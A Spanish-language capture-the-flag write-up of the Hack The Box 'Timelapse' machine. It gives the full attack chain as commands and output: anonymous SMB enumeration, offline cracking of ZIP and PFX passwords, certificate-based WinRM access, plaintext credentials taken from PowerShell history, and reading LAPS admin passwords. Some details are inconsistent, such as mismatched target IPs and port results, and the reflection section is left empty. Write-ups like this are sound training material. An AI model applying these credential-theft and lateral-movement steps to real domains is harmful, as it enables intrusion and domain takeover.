Timelapse

Hack The Box — Metodología Detallada

Timelapse

IP:10.129.50.119
OS:Windows Server 2019
Dificultad:Easy
Categoría:Active Directory
Fecha:30 Ago 2026

Reconocimiento

Escaneo inicial de puertos

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.50.20 -oG allPorts

# Output
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5986/tcp  open  wsmans           syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
Hallazgo
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller. El puerto 5986 (WinRM sobre HTTPS) esta abierto como vector de acceso remoto una vez obtenidas credenciales validas. SMB signing requerido descarta ataques de NTLM Relay.

Escaneo de versiones

PORT     STATE    SERVICE
53/tcp   open     domain            Simple DNS Plus
88/tcp   open     kerberos-sec      Microsoft Windows Kerberos
135/tcp  open     msrpc             Microsoft Windows RPC
139/tcp  open     netbios-ssn
389/tcp  open     ldap              Microsoft Windows AD LDAP (Domain:  
timelapse.htb)
445/tcp  open     microsoft-ds
464/tcp  open     kpasswd5
593/tcp  open     ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open     ldapssl
3268/tcp open     ldap              Microsoft Windows AD LDAP (Domain:  
timelapse.htb)
3269/tcp open     globalcatLDAPssl
5985/tcp filtered wsman
9389/tcp open     mc-nmf            .NET Message Framing

Service Info: Host: DC01; OS: Windows
clock-skew: 7h59m58s | SMB signing: required
Hallazgo
El escaneo de versiones confirmo el dominio timelapse.htb y el hostname DC01. El puerto 5985 (WinRM) aparece filtered en lugar de abierto, lo que indica un firewall bloqueando el acceso directo. El puerto 5986 (WinRM sobre HTTPS) identificado en el escaneo inicial puede ser el vector alternativo. Se agrego timelapse.htb y DC01.timelapse.htb al /etc/hosts. Clock skew de 8 horas detectado — sincronizar el reloj antes de usar herramientas Kerberos.

Enumeración de Active Directory

Enumeración sin credenciales

SMB anónimo — enumeración de usuarios

Hipótesis
Se intentó enumerar usuarios del dominio mediante autenticación nula via SMB para obtener cuentas validas sin credenciales previas.
[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01)
(domain:timelapse.htb) (signing:True) (SMBv1:False)
(Null Auth:True) (DC:True)
[+] timelapse.htb\: -- Sin usuarios enumerados
Conclusión
La autenticacion nula no retorno usuarios. Se confirmo el OS Windows Server 2019 Build 17763 y que el servidor admite sesiones nulas. Se procede a enumerar shares.

Enumeración de SMB shares

Hipótesis
Se enumeraron los recursos compartidos accesibles mediante autenticacion nula para identificar shares sin proteccion.
smbclient -L //10.129.50.119// -N

Sharename   Type    Comment
---------   ----    -------
ADMIN$      Disk    Remote Admin
C$          Disk    Default share
IPC$        IPC     Remote IPC
NETLOGON    Disk    Logon server share
Shares      Disk
SYSVOL      Disk    Logon server share
Hallazgo
El share Shares no tiene descripcion estandar y es accesible de forma anonima. Requiere enumeracion adicional.

Enumeración del la carpeta Shares

Hipótesis
Se accedio al share Shares de forma anonima para enumerar su contenido.
smbclient //10.129.50.119/Shares -N

Dev       D    0  Mon Oct 25 19:40:06 2021
HelpDesk  D    0  Mon Oct 25 15:48:42 2021

smb: \HelpDesk\> ls
LAPS.x64.msi                A  1118208
LAPS_Datasheet.docx         A   104422
LAPS_OperationsGuide.docx   A   641378
LAPS_TechnicalSpecification.docx  A  72683

smb: \Dev\> ls
winrm_backup.zip            A     2611

smb: \Dev\> get winrm_backup.zip
Hallazgo
Se identificaron dos carpetas: HelpDesk con documentacion de LAPS (Local Administrator Password Solution), y Dev con el archivo winrm_backup.zip. La presencia de documentacion de LAPS sugiere que esta solución esta implementada en el dominio. El archivo zip puede contener credenciales o certificados para acceso WinRM.

Crackeo de contraseña del ZIP con John

Hipótesis
El archivo ZIP estaba protegido con contrasena. Se extrajo el hash del ZIP con zip2john y se procedio a crackearlo offline con John the Ripper.
zip2john winrm_backup.zip > zip.hash

john zip.hash --wordlist=rockyou.txt

supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE
Hallazgo
Contrasena del ZIP crackeada: supremelegacy. Se extrajo el archivo legacyy_dev_auth.pfx, un certificado PKCS#12 que contiene una clave privada y un certificado para autenticacion. El nombre legacyy_dev_auth sugiere que pertenece al usuario legacyy y fue creado para autenticacion WinRM via certificado.
Hipótesis
Se intentó extraer la clave privada y el certificado del PFX usando la contrasena del ZIP (supremelegacy), pero el PFX tiene una contrasena distinta.
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy.key -nodes
Enter Import Password:
Mac verify error: invalid password?

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legacyy.crt
Enter Import Password:
Mac verify error: invalid password?
Conclusión
La contrasena del PFX es diferente a la del ZIP. Se procede a crackear el PFX de forma independiente.

Crackeo de contraseña del PFX con crackpkcs12

Hipótesis
El archivo PFX tiene su propia contrasena independiente del ZIP. Se utilizo crackpkcs12 para atacarlo con diccionario.
crackpkcs12 -d rockyou.txt legacyy_dev_auth.pfx

Dictionary attack - Starting 12 threads
*********************************************************
Dictionary attack - Thread 5 - Password found: thuglegacy
*********************************************************
Hallazgo
Vector confirmado: Contrasena del PFX crackeada: thuglegacy. Se extrajeron la clave privada y el certificado para autenticacion WinRM:
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts \
-out legacyy.key -nodes -passin pass:thuglegacy

openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys \
-out legacyy.crt -passin pass:thuglegacy

Explotación

Acceso inicial — WinRM con certificado

evil-winrm -i 10.129.50.119 -c legacyy.crt -k legacyy.key -S

*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
3adf31********************4877
Hallazgo
Vector confirmado: Acceso obtenido como legacyy via WinRM con autenticacion por certificado. Flag de usuario: 3adf31**...**4877.

Enumeración de privilegios

Hipótesis
Se enumeraron los privilegios de legacyy para identificar vectores de escalada directa via token o privilegio de sistema.
whoami /priv

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Conclusión
Ningun privilegio explotable. Se procede a buscar credenciales en el sistema.

Historial de PowerShell

Hipótesis

PSReadLine almacena el historial de comandos de PowerShell en

ConsoleHost_history.txt. Este archivo puede contener comandos ejecutados previamente con credenciales en texto plano.

type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\
PowerShell\PSReadLine\ConsoleHost_history.txt

$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl
Hallazgo
El historial de PowerShell contiene credenciales en texto plano del usuario svc_deploy: E3R$Q62^12p7PLlC%KWaxuaV. El comando muestra que legacyy utilizaba estas credenciales para ejecutar comandos remotos via WinRM sobre HTTPS en el mismo host.

Escalada de Privilegios

Acceso a WinRM con svc_deploy

Hipótesis
Con las credenciales obtenidas del historial de PowerShell se accedio via WinRM como svc_deploy para enumerar sus privilegios y membresías de grupo.
evil-winrm -i 10.129.50.119 -u svc_deploy \
-p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

whoami /priv
-- Sin privilegios explotables

whoami /groups
TIMELAPSE\LAPS_Readers    Enabled
Hallazgo
svc_deploy pertenece al grupo LAPS_Readers. Este grupo tiene permisos para leer el atributo ms-Mcs-AdmPwd en AD, que almacena la contrasena del Administrador local gestionada por LAPS (Local Administrator Password Solution).

Lectura de contraseña LAPS

Hipótesis
Como miembro de LAPS_Readers, svc_deploy puede leer el atributo ms-Mcs-AdmPwd que contiene la contrasena del Administrador local de cada equipo gestionado por LAPS.
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | \
Select-Object Name, ms-Mcs-AdmPwd

Name   ms-Mcs-AdmPwd
----   -------------
DC01   j{WUutcWD,j]D&m9.7n8II}4
DB01
WEB01
DEV01
Hallazgo
Se obtuvo la contrasena LAPS del Administrador local de DC01: j{WUutcWD,j]D&m9.7n8II}4. LAPS rota estas contrasenas automaticamente, por lo que son unicas por equipo y por periodo. Los demas equipos no retornaron contrasena, posiblemente porque no tienen LAPS configurado o svc_deploy no tiene permisos de lectura sobre ellos.

Acceso como Administrator via contraseña LAPS

Hipótesis
Con la contrasena LAPS del Administrator de DC01 se accedio via WinRM para obtener la flag de root.
evil-winrm -i 10.129.50.119 -u Administrator -p 'j{WUutcWD,j]D&m9.7n8II}4' -S

*Evil-WinRM* PS C:\Users\TRX> cd Desktop
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir


Directory: C:\Users\TRX\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        8/30/2026  11:34 PM             34 root.txt

*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
75d8eb57d2f881ae7acae07427b961d5
Hallazgo
Vector confirmado: Acceso obtenido como Administrator. La flag de root se encontraba en el perfil del usuario TRX: 75d8eb57**...**b961d5. El dominio timelapse.htb ha sido completamente comprometido.

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 50 minutos.